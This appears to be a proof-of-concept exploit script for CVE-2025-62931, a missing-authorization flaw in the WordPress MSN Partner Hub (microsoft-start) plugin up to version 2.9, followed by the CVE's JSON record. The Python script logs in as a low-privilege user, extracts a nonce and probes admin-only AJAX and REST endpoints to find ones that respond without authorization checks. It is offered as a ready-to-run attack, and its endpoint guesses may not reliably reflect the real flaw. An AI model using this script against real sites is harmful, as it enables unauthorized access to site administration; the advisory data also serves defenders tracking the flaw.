CVE-2025-62931

import requests # CVE-2025-62931 PoC - Missing Authorization in microsoft-start plugin # Target: WordPress site with microsoft-start plugin <= 2.9 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_wordpress_nonce(url): """Get WordPress nonce for authenticated requests""" session = requests.Session() login_url = f"{url}/wp-login.php" # Login to WordPress login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) # Extract nonce from admin page admin_url = f"{url}/wp-admin/admin.php?page=msn-partner-hub" admin_page = session.get(admin_url) # Find nonce in page source import re nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', admin_page.text) if nonce_match: return session, nonce_match.group(1) return session, None def exploit_missing_authorization(url): """Exploit the missing authorization vulnerability""" session, nonce = get_wordpress_nonce(url) if not nonce: print("[-] Failed to obtain nonce") return # Try to access admin-only functionality with low privilege account # This endpoint should require admin privileges but lacks proper authorization checks exploit_endpoints = [ f"{url}/wp-admin/admin-ajax.php?action=msn_partner_hub_save_settings", f"{url}/wp-admin/admin-ajax.php?action=msn_partner_hub_sync_data", f"{url}/wp-json/msn-partner-hub/v1/settings" ] for endpoint in exploit_endpoints: print(f"[*] Testing endpoint: {endpoint}") # Attempt to access protected functionality response = session.get(endpoint) if response.status_code == 200: print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Response: {response.text[:500]}") else: print(f"[-] Endpoint returned: {response.status_code}") if __name__ == "__main__": print("CVE-2025-62931 - microsoft-start plugin Missing Authorization PoC") print("=" * 60) exploit_missing_authorization(TARGET_URL)

{"cve": {"id": "CVE-2025-62931", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:52.877", "lastModified": "2026-04-27T17:16:35.180", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in microsoftstart MSN Partner Hub microsoft-start allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects MSN Partner Hub: from n/a through <= 2.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/microsoft-start/vulnerability/wordpress-msn-partner-hub-plugin-2-8-7-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}